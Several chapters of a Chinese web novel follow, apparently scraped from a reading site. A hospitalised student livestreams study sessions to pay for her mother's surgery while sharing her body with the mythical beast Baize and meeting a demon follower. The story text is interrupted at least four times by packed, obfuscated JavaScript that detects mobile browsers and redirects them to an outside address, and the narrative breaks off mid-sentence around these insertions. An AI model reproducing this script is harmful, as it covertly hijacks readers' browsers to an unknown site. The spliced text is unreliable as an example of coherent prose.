赵素兰推着轮椅,轮椅两边还挂着袋子,背上也背着个帆布包,帆布包鼓鼓的,看着就装了不少东西。 在见到安随后,赵素兰快速滑动轮椅到安随的病床前,看到安随瘦了一圈的脸后,眼泪在眼眶里打转,终究是忍住没落下来。 安随打点滴打乏了便躺着睡了会儿,但睡得很浅,听到动静便醒了,睁眼看见母亲近在咫尺,没想到母亲那么快就到了医院,竟觉得不真实,好一会儿才开口唤道:“妈。” “瘦了。”赵素兰给她整理着耳发,摸了摸瘪下去的脸蛋,叹了声气。 安随望着母亲憔悴的面庞,也回了一句:“您也瘦了。” 母子俩相视一眼,眼里有千言万语想要诉说,但碍于现在的场合不合适,生生忍住了。 “阿姨好。”宿舍三人齐声喊道。眼里虽然惊讶赵素兰的状况,却并没有表现出来。 “你们好,谢谢你们帮忙照顾小随。”赵素兰擦了擦眼泪。 “应该的,您不用客气。”三人连连摆手,还有点不好意思。 “小随啊,你妈妈昨晚接到警察的电话,非要昨天就赶过来,我跟她说晚上没到锦城的高铁她才熬到早上走,你一个人在这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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赵素兰这么多年并没有完全靠对方,而是自己开了个裁缝铺。 说是裁缝铺还不如说是在镇上集市租了个摊位,卖点针线之类的小东西,也能帮人缝补。她平常就寄住在姐姐家,每个月给一千的生活费。 安随去上大学的钱,是赵素兰一针一线缝补出来的。 平时两人很少通话,因为要省话费。 中午的时候,赵素兰说要请宿舍的几人吃饭,三人说还有事便离开了,赵素兰便点了三份盒饭,一份盒饭十块钱,三人就吃了三十块。 趁姨妈扔垃圾的空隙,赵素兰对安随说道:“小随,妈妈让你表哥买了下午的汽车票,看到你没什么大碍,妈妈就放心了,你自己照顾好自己,生活费不够了就跟妈妈说。” 安随声音几乎哽咽:“嗯,知道了,您也照顾好自己。” 看见赵素兰偶尔捶着腿,便问道:“您腿去医院检查了没有?” “检查啥呀?老毛病了。”赵素兰不以为然,然后岔开话题,“我下午和你姨妈去你学校转转,你上大学我都没跟你一起来,正好这次去看看。” “好。”安随应了一声。 此时,隔壁床的老人开口了。 “闺女你腿怎么回事?医生看了怎么说啊?” 赵素兰并不避讳和别人谈起自己的腿,便如实说道:“十几年前出了一场车祸一直没好全,这几年好像严重了。” “巧了,我儿子是医生,可以让他给你看看。” 13. 第 13 章 安随觉得,柳暗花明又一村说的就是现在这个场景吧。 她从不知道,无意中救的人,可能还是母亲的救命稻草。 此刻,她在心里大声呼唤白泽。 “白泽!白泽!” 依然没有得到任何回应。 想要说的话又硬生生地憋了回去。 老人的儿子名叫杜泽明,是锦城人民医院的外科医生,因为医术精湛,在锦城小有名气。 在听到父亲的话后,便给赵素兰简单检查了下,最后得出的结论是,可以做手术,后期通过康复训练,有望独立行走。 但他又补充道,具体情况还是先要做检查,最后通过检查结果才能决定做不做手术。 赵素兰听到消息已经很开心了,但一想到锦城的消费,便有些犹豫:“这里医药费很贵吧?” 安随想也没想地说道:“只要能好,再多的医药费都不算事,我会多做兼职挣钱的,给我一年时间。”安随说着,又问杜泽明,“杜医生,我妈的腿一年后做手术可以吗?” “理论上是越快越好,不过一年问题也不大。” 得到肯定的答复后,安随整颗心都落了下来。 赵素兰仍然关心医药费的问题:“我这个手术得花多少医药费啊?” “十几万吧。” 虽然有医保报销,但是异地住院报销比例低,自己出的还是多。 赵素兰有些犹豫,但安随却坐不住了,当下便道:“十几万报销下来也要不了那么多,就一年时间。” 赵素兰想了想,咬咬牙应了。 实在不够她就厚着脸皮问哥哥姐姐借点,等她恢复了再还给他们。 只是有点对不起他们,这么多年没少问他们借钱。 见两人下了决定,杜泽明也当即表态,到时候由他亲自为她动手术。 两人千恩万谢,杜泽明却渐渐摆手,并表示这算是答谢安随的救命之恩。 因为赵素兰没办法照顾安随,她的三个同学也要回学校上课,赵素兰便为她请了护工照顾她。 下午的时候,赵素兰两人便回了宁市。 安随下午又接待了一波学校来看望她的老师同学,等到点滴输完,她才迫不及待地上了速音。 几日没看,她的粉丝竟然上了十万,而直播记录也显示自从她上次临时有事后,这几天并没有直播。 怎么会涨那么多?这几天又发生了什么事? 安随去微博转了转,搜索她的直播间名。 这一搜还真让她发现了点东西。 就在她下播的第二天,有个网友发微博,说他的月考比上个月多考了近50分,排名从全班倒数跃至前十,他多次和老师确认成绩,直到看到自己的卷子才不得不相信自己的眼睛。 班上都炸开了锅,不时有人问他是怎么做到的,他十分得瑟地推荐了白泽的直播间,有人便跟着去关注了白泽,但也有人不相信,觉得他是舍不得分享心得随便找个借口,甚至还有人怀疑他作弊,不过怀疑的人很快被老师打了脸。 因为这位男生平常成绩在倒数一二三徘徊,上次考数学的时候居然比平常多了十分,身为数学老师的班主任这次便对他的关注多了些,也嘱咐其他科的老师多关注他一点,因此,这次月考他几乎是顶着所有老师的目光考的,成绩毋庸置疑。 他的进步老师自然看在眼里,成绩出来以后还当众表扬他,并让其他学生以他为榜样。 男生十分飘飘然,然后便去微博分享了自己的故事,得到一众网友赞同和支持。 毕竟他们也有和他一样的经历。 于是,白泽直播间,在互联网上小火了一把,甚至有人把白泽的画像挂在微博上,写着“信白泽,考京大”。下面一堆人打卡。 安随跟着指引进去,看到一堆人打卡京大,整个人震惊得说不出话来。 白泽的影响力越来越大是好事,这样离她的目标也更近一点。 只是白泽怎么还不醒?不会死了吧? “你在咒我?”一个慵懒的声音突然打断了安随的胡思乱想。 安随听到白泽的声音,悬着的心总算放了下来,但嘴上一点都不让步:“看你一天没说话,还以为你死了呢。” “我死了对你有什么好处?没良心的东西,要不是我,你这会儿还昏迷着呢。”白泽戳了戳她的脑袋。 “啊呀。”安随感觉有人戳了一下她,很快反应过来这个人白泽,惊讶道:“你能和我互动了?” “嗯哼。”白泽得瑟地哼了两声,伸了个懒腰。 “这两天到底发生了什么啊?”安随见他没事,便迫不及待地追问。 “急什么?让我再吸点信仰之力。” 安随便耐着性子等,只是等了十分钟也没听到白泽再开口,便又问道:“你吸完了吗?” “还没。” 半个小时后。 “还没有吗?” “快了。” 晚饭过后,依然没有得到白泽的回复,安随咬牙切齿道:“你在耍我?” “年轻人火气不要那么旺嘛。” “我不听了。” 安随说不听便不听,也不再看关于白泽的东西,而是拿了本书开始读,这书还是宋知冉她们给她带来的,怕她在医院无聊,给她解闷的。 她读得很小声,但白泽听得见。 白泽一听她念书头便开始疼,连连求饶:“好了好了不逗你了,我现在给你讲吧。” “我要看书,我不想听。”安随头也没抬。 “我求你,我求你听我讲好吗?”白泽说着便开始讲这几天发生的经过。 讲安随突然昏迷,白泽从她身体里醒来,讲他痛苦地上了一天课,在食堂虐渣,生无可恋地去上班,讲他救人的经过。 安随听到后面把书也放下了。 她竟不知道,在她昏迷的这几天居然发生了这么多事,而白泽也在认真扮演着她,即便上课上班对他来说是件非常痛苦的事。 安随有些感激,又有些感慨,没想到高傲如他,也会有这么接地气的一面。 但安随总觉得不对。 过了会儿,她才想起来哪里不对。 安随阴恻恻道:“你不是说灵魂契约没有副作用吗?” “是,啊。”白泽有些心虚,声音也变小了。 “那我那天为什么 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16699310|189117||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 会昏迷?” “这个……”白泽尴尬一笑,“可能因为你体质太差了吧。” “我体质再差痛经也没昏迷过,你一来就严重了。” 白泽只能嘿嘿一笑。 “还有什么其他副作用吗?”安随叹气,认命道。 “可能,大概没有了吧,我也不确定。” “什么叫你也不确定?”安随都震惊了,她这是遇到了个什么神啊?这么不靠谱? 白泽解释道:“因为我是第一次和人类签订灵魂契约,业务不熟练,而且我本来灵魂就不全,谁知道还有什么?” “行吧。”安随不再追问下去,反正再问也改变不了什么,只能走一步看一步了。 过了会儿,安随又问:“那天你为什么去那条街?我回学校并不会经过那里。” 白泽说到这里就叹气:“因为我感知到那里有浓郁的妖气,想去打打牙祭,没想到却出了车祸。” 安随:“那你捉到妖了吗?” “没有,这不是出车祸了吗?”白泽想想就气,简直得不偿失。 安随却从话语中捕捉到了重点:“你是说这里还有妖怪?锦城什么时候那么多妖怪了?它们为什么会出现在这里?” 白泽闻言,也难得正经了一回:“人界与妖界并不互通,以前从未有妖怪出现在人界的现象,最近确实多了很多,这并不是个好现象。” “最近是什么时候?”安随指出了问题关键,“会是从你出现以后开始吗?” 白泽沉吟了一会儿:“不排除这个可能,下次遇到妖怪作乱我会留个活口问问情况。” 安随不信:“你能忍得住不吃它们?” “这点信任都没有了?”白泽怪叫一声,随后自恋道,“我好歹活了几万年,什么样的妖没见过?” “你那么厉害,还能被妖王杀了?”安随毫不留情地戳他的伤口。 “今非昔比啊今非昔比。”白泽不愿再这个话题上扯下去,于是换了个话题,“你还准备直播吗?” “播。”安随道。 “不是不想带歪别人吗?”白泽忍不住揶揄她。 安随脸不红心不跳:“我们可是正能量的学习主播,怎么会带歪别人呢?” “你有这个觉悟就好。” 两人算是达成了共识,也都从那场争吵中走了出来。 安随只看了几分钟就没看了。因为医生说让她少看电子产品,需卧床休息。安随便跟学校和书店都请了假,接下来的几日都在医院治疗。 又过了两天,她终于可以下床行走了,她在护工的陪同下练习走路,走几步就歇息一会儿,虽然累,但总比躺在床上发霉好。 而现在,她也能多玩会儿手机了。 安随那天突然下线,也没给直播间的粉丝交代一下去向,突然那么多天没直播,粉丝们都急坏了,开始全网找人。 有的甚至寻到了c大,但终究因为没有安随的确切信息而作罢。 眼见着网络上寻人的风向愈演愈烈,安随觉得该给粉丝交代点什么。 于是这天,安随拍了张病床的照片发了条速音。配文:“人在医院,一切安好,勿念。” 14. 第 14 章 此条速音一发,一直关注安随动态的粉丝立马便发现了,纷纷在底下留言。 “白泽宝宝你终于出现了,还以为你失踪了。” “呜呜主播我好想你,没有你我做题都没动力了。” “主播什么时候开直播啊,我已经戒了其他直播间了,只等着你直播。” “一群学渣等着主播投喂。” “你们这群人,居然没有人关心主播的身体,太渣了。主播你能发速音说明能拿手机,能拿手机为什么不直播?” “医院也能直播,没关系,我们不在意背景。” “只要手能拿手机,就不影响直播。快开直播吧,我等的花儿都谢了。” “起来直播了,生产队的驴都不敢像你这么歇。” “只有我是真心关心主播的身体的,白泽姐姐你快快好起来吧!” “宝宝伤得重不重啊?需不需要妈妈给你吹吹?” 安随发完速音后,下意识地刷新了下评论区,结果就看到这些让人两眼一黑的评论。感情这群人关心她是假,想看她直播才是真。还有人叫她宝宝,她又不是小孩子了,而且,她妈妈只有一个,不是谁都能当的。 安随还是没忍住回怼了几条,粉丝这才意识到她是真生气了,这才纷纷开始关心她的病情,她这才舒服了点,但还是忍住和白泽吐槽:“这群人,怎么一点都不关心我啊。” 白泽有些无奈:“这还不关心你啊,他们不是都在全网找人了吗?我被人叫姐姐都没说啥。” 安随一听这心里便有点平衡了:“白泽姐姐,那我现在直播吗?” “可以播啊,就和大家聊聊天也行。”白泽听到她也这么叫,有些无语,“还有你能别叫我姐姐吗?” “姐姐姐姐姐姐。” “你还来劲了……” “姐姐姐姐姐姐……” “没关系,你想叫就叫吧,我是姐姐你就是白泽,这样才不辜负了粉丝的好意。” 安随纠正道:“我是安随,你才是白泽。” “我不是姐姐吗?那你只能叫白泽了。”白泽反驳道。 “……”安随一时竟不知如何反驳。 两人跟幼稚鬼一样争论了半天,最后也意识到这样很幼稚,于是都默契地转移了话题。 “咳咳,那我现在开直播了。” “咳咳,开吧。” 安随整理了下睡乱的发型,调整好姿势打开直播。 当系统提示你关注的主播开播后,还在评论区兴风作浪的粉丝立马转战直播间,开始新一轮的刷屏。 “哇,主播居然开播了,呜呜呜感动死了,在住院都不忘来投喂我们。” “主播确实在住院,这下没人质疑了吧。” “主播快快好起来吧,还等着你和我们聊天呢。” “聊啥聊,直播间挂着学习才是正事。” 系统提示:宝宝要吃饱送出1枚火箭炮。 系统提示:一条咸鱼送出1架直升机。 系统提示:锦城水哥送出1个嘉年华。 嘉年华的特效又大又酷炫,占据了整个屏幕,这还是安随收到的第一个嘉年华,价值3000元,但安随并不知道这个礼物的价值,直到看到网友的评论才知道,顿时惊了,连忙开麦道:“谢谢大家的礼物,不过太贵重了,大家还是把钱留着自己花吧,别送给我了。” 系统提示:锦城水哥送出4个嘉年华。 一连送了五个,水哥才罢手,甚至还抽出手打字:“没事,你值得送那么贵重的礼物,好好休息,这段时间就别直播了。” 这一操作直接把直播间的网友震得弹幕停顿了几秒,而后才开始刷屏。 “靠,大佬啊,膜拜!” “直播间惊现大佬,吸吸!” “主播真有几把刷子啊,把大佬都征服了。” “我决定住在直播间不走了,我要开着直播学习。” “赶紧学习,下次直播不知道啥时候了。” “快快快,把书都拿出来,学习起来!” “别刷屏了,赶紧学习吧,主播一会儿又下线了,不好逮。” 于是,直播间突然就安静了下来,连礼物特效也消失了。 安随看着如龙卷风一样来了又集体消失的粉丝,顿时哭笑不得。 他们是有多怕她跑啊。 直播间在线人数还在上升,现在已经达到了2万+,虽然和头部主播比起来不算什么,但对于安随来说却是最多的一次,而她的粉丝也涨到了25万。 此刻的直播间陷入了诡异的安静中。 安随上线本来就是和网友聊天的,结果现在没人理她,反而有点不适应,于是出言打破了沉静。 安随:“喂,你们都说说话啊,我一个人在医院无聊。” 结果依然没有人回应她。 安随:“理理我呀。” 过了会儿,才有条孤零零的评论飘过:“学习中,勿cue。” 安随都快被气笑了。 安随找不到人和她说话,便只能找白泽说:“姐姐,他们不理我了。” “没关系白泽,他们只是太怕你下线了,你可以挂着做其他事。” “好的,姐姐。” “好的,白泽。” 说完,两人又一起笑出声来。 安随觉得,和白泽这样相处下去也不错。 难得安随开一次直播,网友们开始全平台摇人,不少慕名而来的网友们看到直播间这诡异的没人刷屏的一幕,连主播也不开口说话露面,只是摄像头对着天花板,镜头里一片白,还以为进错直播间了。 这真的是那个玄学,呸,学习直播间吗? 怎么都没人讲题?没人提问? 不过在短暂的惊讶后,他们便也跟着加入。 管它为什么没人互动,只要学习效率高,其他的什么也不在意。 安随看了下她的打赏,这么多天过去,她还一直未提现,现在已经集攒到了一万多元。这是扣除平台的分成以后的金额,但离母亲的手术费费还有些距离,还得继续努力。 想着过两天就得交医药费,安随分两天把打赏提了出来,提的时候还扣了她不少税,心里微微疼了一下,不过她很快释然了,扣得多说明她赚得多啊。 安随存了一万一年的定期,剩下的都放在活期里吃利息。搞定这一切后,安随看到自己的余额,心里总算没那么慌了。 手中有粮,心中才不慌。 这天下午安随一直挂着直播间,连吃饭的时候也没退出,直到手机快没电了才下线,也算是犒劳一下一直等着她的粉丝。 临走时又被直播间网友威胁一通,让她务必交出下次上线时间,安随随便说了个几天后的时间便下线了。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16699311|189117||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>接下来的几天安随都在医院治疗,在做了一系列检查后医生判定能出院了,这才跟室友说了出院时间。 安随出院的那天,除了孟与有事没来,另外两人都来接她了。 蒋栗看到安随,一巴掌便拍在安随胳膊上:“恭喜姐妹,终于解放了!” 安随被她拍得往后缩了缩,故作哀怨:“你轻点,疼。” “啊,不好意思,是我手重了,忘了你胳膊有伤了。”蒋栗不好意思地吐吐舌头。 宋知冉看到这一幕,有些感慨,安随比以前开朗了许多。 这是好事。 想到她直播间的盛况,宋知冉意识到,安随绝不会寓居于此,她会有更广阔的天地。 办完出院手续后,三人回了学校,路上碰到不少熟面孔都很关心安随,纷纷来询问她的状况,安随都耐着性子回应他们。等到了宿舍的时候,他们已经在回宿舍的路上停留了半个小时。 安随揉了揉酸痛的双腿,暗暗发誓腿好了以后得加强锻炼了。 蒋栗将安随的东西方放好,宋知冉搀扶着她坐在凳子上,叹了口气:“你刚出院,和他们说那么多做什么?” 安随也无奈:“人家也是关心我,我怎么好拂了他们的心意?” 宋知冉知道安随是个主意强的人,便也没再多说什么,只让她好好休息,她和蒋栗给她打饭回来。 安随把她的饭卡递给宋知冉,并嘱咐道:“帮我打份20块的,谢谢。” 宋知冉惊讶地看了她一眼,却什么也没说,接过饭卡后便和蒋栗离开了。 路上,宋知冉问蒋栗:“你有没有觉得安安比以前花钱大方多了?” “这是好事呀,她现在直播有打赏了,是得好好犒劳自己。”蒋栗不以为意道。 但宋知冉却觉得,安随并不只是单纯的想犒劳自己,她就是和以前不一样了。 宿舍里就剩下安随一个人。 安随问白泽:“我对你好吧?给你打20的饭菜。” “你现在可是有存款的人,只花20块会不会太抠搜了?”白泽还想挣扎一下,被安随无情地按了下去,“你都说是存款了,当然得存着。” “你未来可是拥有一个亿的女人,不要那么小气嘛。” “你都说是未来了,我现在可不是。” 白泽见占不了便宜,便开始转移话题:“我可是高贵的神兽,凡人的食物只能尝尝味,想要吃饱还是得吃妖怪,什么时候带我出去觅食啊?” 安随面无表情:“随时都可以,只要你不怕我被妖怪吃掉。” “有我在,谁敢吃你?” “那我也是个刚出院的女人,战斗力大不如前,你不怕被吃掉也可以。” 白泽抓狂:“这不行那不行,到底我什么时候才能吃到妖怪?” 安随:“别着急,总会有妖怪找上门的。” 安随说得没错,晚上的时候,一只长相奇怪的东西趴在宿舍阳台的窗外,目光一动不动地盯着里面。 安随的五感并没有因为车祸受损,甚至比之前还敏锐,一下子就捕捉到了不寻常的气息。 此时,另外两位室友都已熟睡,安随本来也睡下了,却仍然被窗外细微的动静惊醒了。 有妖怪在外面。 这是安随的第一反应。 白泽有口福了。 这是安随的第二个念头。 15. 第 15 章 安随不动声色地观察着那东西的一举一动,只见它在窗户上趴了一会儿,见里面没有动静,柔软的爪子突然露出锋利的指甲,随后在玻璃上轻轻一划,玻璃上很快露出划痕。那东西的动作很轻,并没有惊醒安随的室友,但安随却坐不住了,生怕下一秒它就从窗外钻进来。 “姐姐,醒醒。”安随呼唤白泽。 但白泽正睡得香,并没有听到她的呼喊。 安随叫了几声也没听到回应,于是轻手轻脚地下了床。 不能让那东西进屋! 这是安随唯一的想法。 安随打着手电筒,一瘸一拐地往阳台上走去。 那东西正认真地破着窗,眼前却突然出现光亮,抬眼便见一个人影正拿着手电筒一动不动地照着它。它吓得停下手中的动作,随后双脚一放,整个身体从窗户上掉了下去,“啪嗒”一声响。 安随大着胆子打开窗户,便看到它掉在窗户外的空调柜机上,与安随正四目相望。 那小东西四腿一蹬,就要逃跑,却因为太滑了,摔在了空调柜机上,爬了好几次都没爬起来。 安随觉得有趣,先前的害怕消失得无影无踪,取而代之的是好奇。只见她伸出半个身体拧着那东西的脖子,便将它拧进了屋,只见它四肢不停地晃动,想要挣脱安随的束缚却怎么也挣脱不了。 “放开我!”那东西突然开口了。 安随却更觉得惊奇了,原来那么小的妖怪也能开口说话。 “你是什么东西?为什么到这里来?”安随问它。 “我叫吱吱,来这里找大王。”吱吱意识到自己说漏嘴,连忙捂住嘴,拼命摇晃着身体,想要挣脱安随的束缚。 “你答应我不跑,我就把你放下来。”安随和它商量。 吱吱连连点头,示意自己不跑。 安随这才把它放下来。 一人一妖坐在阳台上,就着月光和手电筒的光,相互打量对方。 吱吱长得像老鼠又比老鼠个头要大,听它诉说它是寻着味道来找它的大王的。 安随问它:“你大王是谁?为什么会找到我这里?” 吱吱指着她:“你身上有我大王的味道,我不会闻错的。吱吱的鼻子是整个妖界最灵敏的,一路从妖界闻到这里。” 安随猜它说的大王应该就是白泽,想到之前和白泽讨论过妖界的变故,安随便问了出来:“妖界发生了什么事情?为什么人界最近多了很多妖怪?” 吱吱一提到这便叹气:“自从大王死掉以后,妖界乱成一锅粥,曾经被大王庇护的小妖被妖王的人追杀,死的死逃的逃,早就没剩下多少了。” “那你们是怎么逃到人界的?人妖两界不是不互通吗?”安随追问道。 “我是跟着他们逃出来的,我也不知道屏障怎么打开了,很多妖怪都从那里逃了出来。” “你是说有很多妖怪?有多少?”安随说话的声音有点抖,声音不自觉拔高,又很快压了下去。 如果照它说的那样,人界岂不是要乱套了? “我也不知道,但是应该不少。不过妖王也派妖卫围剿逃跑的妖怪,我朋友就是被他们杀掉的。”吱吱说到这里,声音开始抽噎,豆子般大小的眼睛里挤出几滴眼泪,看着确实很伤心。 安随见它很伤心,也不好继续追问,于是从兜里抽出纸递给它。 吱吱双爪接过,擦了擦眼角的泪水,才继续说道:“现在只有大王才能拯救妖界,我在你身上闻到了他的气息,他是在你身体里吗?能让他出来一下吗?我有很多话想和他说。” 安随不好和它说它的大王此刻正呼呼大睡,压根叫不醒,但也不好太扫它兴,于是说道:“你的大王现在有事不能出来与你相见,你可以告诉我,我再转告他。” 吱吱想了想,便答应了,于是说道:“那请你转告他,他曾经的追随者正在找他,希望他能早日现身,带领我们攻回妖界,把妖王赶下台!我们已经受够了妖王的暴政!必须反抗!反抗!” 吱吱越说越激动,已经开始手脚并用,安随怕它翻个底朝天,连忙拉住它,应道:“好好好,我一定帮你转告到位。” 吱吱见她答应了,这才慢慢稳住情绪,最后又掉出一滴眼泪:“我找到大王了,妖界有救了!我回去一定告诉他们这个好消息!”说着,便一蹦一跳地上了窗台,却忘了有玻璃,随后“吧唧”一声,整个妖身掉在了地上一动不动。 安随见它好一会儿都没动静,连忙去查看它的状况,刚一碰到它,便见它突然弹跳起来,吓了安随一跳。 安随怕它又撞在玻璃上,连忙打开窗户,示意它从那里出。 吱吱回头感激地看了安随一眼,随后一蹦一跳地出了窗户。 安随总算松了口气。 这小东西,怎么看着不太聪明的样子? 不愧是白泽的追随者,和正主一个样。 “好吵,你在和谁说话?” 此时,白泽终于醒了,见安随站在阳台上吹风,声音都拔高了:“你不会想不开要跳窗吧?我告诉你你要跳可别拉着我啊,我还想多活几年呢。” 安随恨不得给他一锤,但无奈对方没有实体,只能言语输出:“你放心,你想死我都不会想死的,好死不如赖活着。” “呸呸呸,什么死不死的,我还要复活呢,别咒我。”白泽见她不是想跳窗,这才松了口气。他复活全靠她了,她要是死了,他先前所有的努力岂不是白费了? “你的追随者找到你了,说他们都在等你回去,带领他们杀回妖界呢。”安随把吱吱的话转告给白泽。 “我的追随者?”白泽有些懵了。崇拜他的妖都追到人界来了? “它叫吱吱,是只大老鼠。”安随解释道。 “吱吱?不认识。”白泽一点印象都没有。 “但它说是闻到你的味道找过来的,你真不认识吗?” 白泽想了会儿,确实对这个名字没有印象,于是道:“可能确实是我的追随者吧,毕竟我可是白泽,有追随者很正常。” 安随见他又开始扯,知道他没当回事,语气便严肃了几分:“我听吱吱说,妖界现在乱套了,很多妖怪都逃到了人界,妖王也派妖卫在追杀逃到人界的妖怪,你要不要见见他?” 白泽闻言,也难得变得正经起来:“怪不得最近碰到妖怪的几率那么大,原来是这么回事。只是我对当初发生的事情一点印象都没有,看来确实得见见他们了。” “我要怎么见他们?”白泽问。 安随这才想起来没有问吱吱的联系方式,只能等着它再次找上门了。 安随打了个哈欠:“我要睡觉了,困了。” “那你好好睡觉,反正你请了假,可以等到下周一才上课,趁这段时间多多直播,我才能早点恢复。” 白泽连忙催促她去睡觉。 “你还是人吗?我刚出院就让我直播?”安随都想抽他两下。 白泽:“我本来就不是人。” 安随一时不知道怎么接话了,但她只想睡觉,什么也不想干。刚出院头还有些晕,身上的挫伤还未完全好,她只想好好休息。 “反正你都只是挂着直播,你可以做其他事去,他们不需要你直播做什么,只要你开着直播就好。” 一说到这个,安随便有些无奈。 她明明是个学习主播,怎么她的直播间就成了别人挂玄学的地方了? 安随觉得,必须矫正过来,免得哪天真被封了。 安随拒绝了他的提议,并且上床进入了梦乡。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16699312|189117||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 距离她说的日期还有五天,说是那天就是那天,绝不会早一分钟直播。 接下来的几天安随就在宿舍里休息,一日三餐让室友帮忙打上来,有时候去楼下转转,但不能走远了,只能走一小段距离就得回来,中间又去医院复诊,在医生说她可以正常出行后,她才放心下来。 安随把书店的兼职辞了,虽然医生说她可以正常出行,但在书店站一天还是有点吃不消,索性辞了,专心直播。 周六的时候,刚好是她直播的日子,一直到晚上七点,她才磨磨蹭蹭地开了直播。 那么多天过去,她的粉丝已经突破了50万大关,距离百万还有一半的路程。 等了十来天的网友等的身上都快长蘑菇了,见她终于上线,急不可耐地刷了一波礼物和评论。 “主播你终于出现了,我等的心都快凉了!你一出现,我的心又火热起来!” “呕,咋那么肉麻!主播这是恢复了吗?终于可以直播了!可以学习了!耶!” 安随看着眼花缭乱的特效,辨认网友的评论都要好一会儿才看清,看得安随眼睛疼,索性把礼物特效关了。 安随:“大家晚上好呀,好久不见。” “主播晚上好呀,身体恢复得如何?” 安随:“还可以,能正常上学啦。” “那就好,那我们就去学习啦,你自便哈。” “同学们刷完礼物就滚去学习!绝不纠缠主播一分钟!” “不要再聊天了!你们聊天的时间浪费了多少学习的资源!” “主播88,我们去学习了!” 安随还想说点什么,却被管理员制止了:“主播别说话,我要去学习了,你自己管理直播间吧。” 安随:“……” 合着她就是一个多余的人? 安随还想挣扎一下:“给我一分钟的时间,我说完就闭麦。” “你现在就可以闭麦了。” 安随:“我觉得我得强调一下,我这是学习直播间,不是玄学直播间,你们想靠挂玄学考985的还是算了吧。” “没有人说这不是学习直播间啊,我们不都在学习吗?不和你说了,你自己该干嘛干嘛去,别影响我们学习。” 安随:“……” 安随:“但你们看看其他学习直播间也不像我这里啊,哪有不让主播说话的?这不反过来了?” “所以我们不去其他人那里啊,因为你特殊啊。” 安随:“其实,我就想讲讲题而已,没人问我反而不适应了。” “你不需要适应,只需要闭嘴就行了。” 安随:“……” 安随还想说什么,却被刷屏整无语了。 “一分钟到了,别说话了。” “一分钟到了,别说话了。” …… “全体闭麦,谁再说话谁变小狗。” 安随都快被气笑了。 这都是一群什么人啊? 白泽却看得直乐呵:“认命吧,他们就想学习而已,别阻挡他们学习的热情啊。” 安随不能怼网友,还不能怼白泽了? 只见她冷哼一声:“是你想多吸点信仰之力吧?” “这样不好吗?”白泽反问道,“你我本一体,我的不就是你的?” 安随被他的乱比喻搞得无语了:“谁和你一体了?” “我没和你说过吗?”白泽挠了挠头,“和我绑定灵魂契约以后,我们寿命也共享了呀,你活多久我就活多久,反过来,我活得越久你就活得越久。” “安随,你是我这几万年以来,绑定的第一个,也是唯一一个灵魂契约者。” “如果我能复活,你将和我共享这永恒的生命。” 16. 第 16 章 “那我不成了老不死的了?”安随被自己这个想法逗笑了,但一想到自己有可能拥有永恒的生命便有些好奇,漫漫时间长河里,该做点什么才不至于太无聊? 安随这么想,便也这么问出来了:“你活了那么多久,不觉得很无聊吗?每天都怎么打发时间啊?” 白泽被她的反应整无语了,这怎么和他想象中的画面不一样?任何人听到自己能拥有永恒的生命不是应该激动得说不出话来吗?谁像她那样担心不知道怎么打发时间啊? 白泽自闭,不想搭理她。 安随却被激起了兴趣,不停追问:“你以前在妖界的时候没什么娱乐活动,每天的日常是什么?每天重复一样的日子不无聊吗?” 白泽依旧不理。 “你有几个聊得来的朋友吗?每天和他们一起出去玩吗?比如一起打妖怪,一起去看看妖界的大好山河,不过我猜妖界没什么好玩的地方,肯定没人界好玩,等的放寒假了,我带你去华国的各个地方转转,让你看看华国到底有多美。” 白泽想象那个画面,竟然觉得有点期待。不过朋友嘛……倒是有一个,只不过他身陨以后便不知道他的去向了,也不知道他在妖界过得怎么样,有没有被妖王的人追杀。 “你谈过恋爱吗?那么多年你身边就没有一个陪伴你的母兽吗?那兽生多无聊啊。” 白泽终于忍不住了:“你能闭嘴吗?我可是神,不是那些随时都能发情的妖。” “原来你和他们不一样啊。”安随恍然大悟,“那你就是性冷淡了,我跟你讲,这是病得治,要正视自己的生理需求,不能逃避,不然会憋坏的。” 白泽反问她:“你哪来的那么多大道理,一套一套的,难道你对这个很在行?” 安随嘿嘿一笑:“没吃过猪肉总见过猪跑吧。” 白泽:“我吃过猪肉,但是确实没见过猪跑,猪妖这种低等的妖怪还不配出现在我面前。” 安随:“……我只是打个比方而已,意思就是没做过但是见过。” 白泽不解:“你在哪里见过?你还有这癖好呢?我跟你讲,偷窥别人可不是什么好习惯,得改。” 安随被他闹了个大红脸,辩驳道:“现实肯定没见过啊,但是这种东西,电视里,小说里不都会写吗?你脑子里想些什么乱七八糟的东西啊?” 